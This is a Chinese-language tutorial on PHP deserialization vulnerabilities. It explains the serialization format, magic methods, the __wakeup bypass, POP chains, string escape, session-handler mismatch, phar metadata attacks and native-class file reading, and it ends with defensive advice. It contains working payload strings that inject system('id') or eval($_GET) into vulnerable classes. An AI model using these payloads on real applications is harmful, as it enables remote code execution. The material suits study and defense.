深入浅出PHP反序列化
字数 1513 2025-08-22 12:22:24
PHP反序列化漏洞深入解析
一、面向对象编程基础
1. 面向过程与面向对象
- 面向过程:以整体事件为中心,按步骤调用函数实现功能
- 面向对象:以对象为中心,将问题分解为各个对象,对象是现实世界的抽象
2. 类的基础概念
class Class_Name {
// 成员属性
// 成员函数
}
3. 访问权限修饰符
public:公共的,类内部、子类、外部都可调用private:私有的,仅在类内部使用protected:受保护的,类内部或子类中使用
二、序列化与反序列化基础
1. 序列化
将对象状态信息转换为可存储或传输的字符串形式
serialize($object);
2. 反序列化
将序列化字符串还原为对象
unserialize($serialized_string);
3. 序列化格式说明
O:4:"test":1:{s:3:"pub";s:6:"benben";}O:对象4:类名长度test:类名1:属性数量s:3:"pub":字符串属性名,长度3s:6:"benben":字符串属性值,长度6
4. 特殊属性序列化
- private属性:变量名前加
%00类名%00 - protected属性:变量名前加
%00*%00
三、反序列化漏洞成因
1. 基本条件
unserialize()参数可控- 存在可利用的类和方法
2. 漏洞示例
class test {
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = 'O:4:"test":1:{s:1:"a";s:13:"system("id");";}';
$b = unserialize($get);
$b->displayVar();
四、魔术方法与利用
1. 常见魔术方法
| 方法 | 触发时机 |
|---|---|
__construct() |
对象实例化时 |
__destruct() |
对象销毁时 |
__wakeup() |
反序列化前 |
__sleep() |
序列化前 |
__toString() |
对象被当作字符串调用 |
__invoke() |
对象被当作函数调用 |
__call() |
调用不存在的方法 |
__get() |
访问不存在的属性 |
__set() |
给不存在的属性赋值 |
2. 常用利用方法
(1) __destruct()利用
class User {
var $cmd = "echo 'dazhuang666!!';";
public function __destruct() {
eval($this->cmd);
}
}
(2) __wakeup()绕过(CVE-2016-7124)
- 影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
- 方法:将对象属性个数改为比实际大的值
// 原序列化
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
// 绕过
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
五、POP链构造
1. 基本概念
面向属性编程(Property-Oriented Programming),通过控制对象属性值实现漏洞利用
2. 构造步骤
- 寻找可利用的魔术方法
- 分析类之间的调用关系
- 构造属性传递链
3. 示例分析
class Modifier {
private $var;
public function append($value) {
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show {
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
}
class Test {
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
// POP链
__wakeup->source::__toString->str::__get->p::__invoke->var::append
六、字符串逃逸
1. 字符减少型逃逸
// 原始序列化
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}
// 替换后
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}
// 构造payload
1234567";s:2:"v3";i:123;}
2. 字符增多型逃逸
// 原始序列化
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
// 替换后
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
// 构造payload
lslslslslslslslslslslslslslslslslsls";s:2:"v3";i:666;}
七、引用利用
1. 引用赋值
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
// O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
八、Session反序列化
1. 存储格式差异
php:键名|序列化数据php_serialize:完整序列化数组php_binary:二进制格式
2. 漏洞利用条件
- 序列化存储与反序列化读取方式不同
- 可控制session内容
3. 示例
// 存储端
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
// 漏洞端
ini_set('session.serialize_handler', 'php');
session_start();
class D {
var $a;
function __destruct(){
eval($this->a);
}
}
// 提交
?a=|O:1:"D":1:{s:1:"a";s:13:"system('id');";}
九、Phar反序列化
1. Phar文件结构
- stub:
<?php __HALT_COMPILER(); ?> - manifest:包含序列化的meta-data
- 文件内容
- 签名
2. 利用条件
- phar文件能上传到服务器
- 有可用的反序列化魔术方法
- 有可控参数的文件操作函数
3. 生成phar
class Testobj {
var $output = '';
}
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new Testobj();
$o->output = 'eval($_GET["a"]);';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
4. 触发方式
file_exists('phar://test.phar');
十、原生类利用
1. 目录遍历
// DirectoryIterator
$a = new DirectoryIterator('glob:///*');
foreach($a as $f) {
echo $f->__toString().'<br>';
}
// GlobIterator
$dir = new GlobIterator("/*flag*");
echo $dir;
2. 文件读取
$context = new SplFileObject('/path/to/file');
foreach($context as $f){
echo $f;
}
3. 注释读取
class test {
/**
* 测试注释
*/
public function getA() {}
}
$b = new ReflectionMethod('test', 'getA');
echo $b->getDocComment();
防御建议
- 避免反序列化用户可控数据
- 使用
json_encode/json_decode替代序列化 - 对反序列化操作进行严格校验
- 使用
__wakeup()或__destruct()进行安全检查 - 及时更新PHP版本修复已知漏洞